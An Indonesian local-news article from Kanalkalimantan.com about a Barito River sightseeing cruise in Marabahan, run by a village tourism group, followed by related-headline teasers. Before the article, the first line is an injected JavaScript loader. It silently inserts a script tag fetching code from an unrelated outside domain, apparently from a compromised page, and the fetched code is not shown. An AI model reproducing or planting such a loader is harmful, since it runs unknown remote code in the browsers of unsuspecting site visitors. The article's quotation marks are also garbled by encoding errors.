(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN – Potensi sungai di Kabupaten Barito Kuala masih belum tergarap apik. Hal inilah yang memotivasi Suryadi, pemuda asli Barito Kuala itu untuk mengajukan diri mengelola wisata susur sungai melalui Kelompok Sadar Wisata (Pokdarwis) Desa Bagus. Wisata yang dicanangkan oleh Pemerintah Kabupaten Batola pada November 2019 lalu, telah menarik minat warga lokal ataupun luar daerah.
“Alhamdulillah sejak dilaunching peminat wisata ini cukup banyak, bahkan ada kalanya dalam sehari ada beberapa rombongan,†terang Suryadi kepada Kanalkalimantan.com, Jum’at (10/1/2020).
Siang itu, Suryadi dan awak kapalnya sedang melayani rombongan dari kantor Pengadilan Negeri Marabahan. “Mengisi waktu lah, refreshing,†ucap Panji Answinartha SH MH, salah satu hakim di Pengadilan Negeri Marabahan.
Rute susur sungai bermula dari Siring Ulek Marabahan, kemudian kapal bergerak ke arah hulu menuju titian pelangi. Wisatawan akan disajikan pemandangan warga Bakumpai yang bermukim di tepian Sungai Barito.
Tepat sesaat kemudian kapal bersisian dengan tongkang batubara yang membawa muatan. Hal ini pun dirasa menjadi sesuatu yang menarik untuk dinikmati.
“Alur sungai Barito di Marabahan ini bisa dibilang ekstrim memang, tapi hal itulah yang menjadi daya tarik tersendiri. Bagaimana menikmati sungai dan pada akhirnya muncul kesadaran untuk melestarikannya,†ungkap Suryadi.
Lelaki 42 tahun itu kemudian menunjukkan alat penangkap ikan tradisional yang terpasang di tepi sungai. Alat tersebut terbuat dari kayu-kayu kecil yang disusun sedemikian rupa. “Biasanya dalam beberapa hari baru akan diangkat oleh nelayan,†tuturnya.
Kapal kemudian berbalik arah ke hilir. Melewati Desa Lepasan, wisatawan akan disajikan konveyor sekaligus area stockpile batubara. Beberapa wisatawan mengabadikan momen tersebut melalui foto dengan latar belakang konveyor.
Potret diri, diakui Suryadi, menjadi aktifitas paling diminati para wisatawan. “Selain foto-foto, juga ada yang suka dengan sejarah dan lokasi-lokasi ziarah,†terangnya.
“Tentu lokasi paling favorit adalah di Jembatan Rumpiang,†imbuhnya.
Benar saja, begitu terlihat puncak jembatan Rumpiang, para wisatawan terlihat bersiap-siap dengan kamera masing-masing. Suryadi mengomando rekannya untuk memposisikan kapal sedemikian rupa. Ia pun membantu pelanggannya untuk mengabadikan momen dengan foto bersama. Cukup lama aktifitas di sana.
Setelah puas berfoto-foto, kapal kembali meluncur ke arah hulu. Kapal menyisir agak ke tepi agar wisatawan bisa melihat keramba-keramba air tawar yang dimiliki warga. Tak jauh, berdiri tegak bangunan Masjid Agung Marabahan yang berada tepat di tepi Sungai Barito. Masjid terbesar di kota Marabahan.
Perjalanan berakhir kembali di titik semula yaitu Siring Ulek Marabahan. “Cukup puas tadi, bisa menjadi sarana hiburan untuk kami. Mudahan ke depan makin ramai,†Panji Answinartha mengurai kesannya. (kanalkalimantan.com/retno)
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.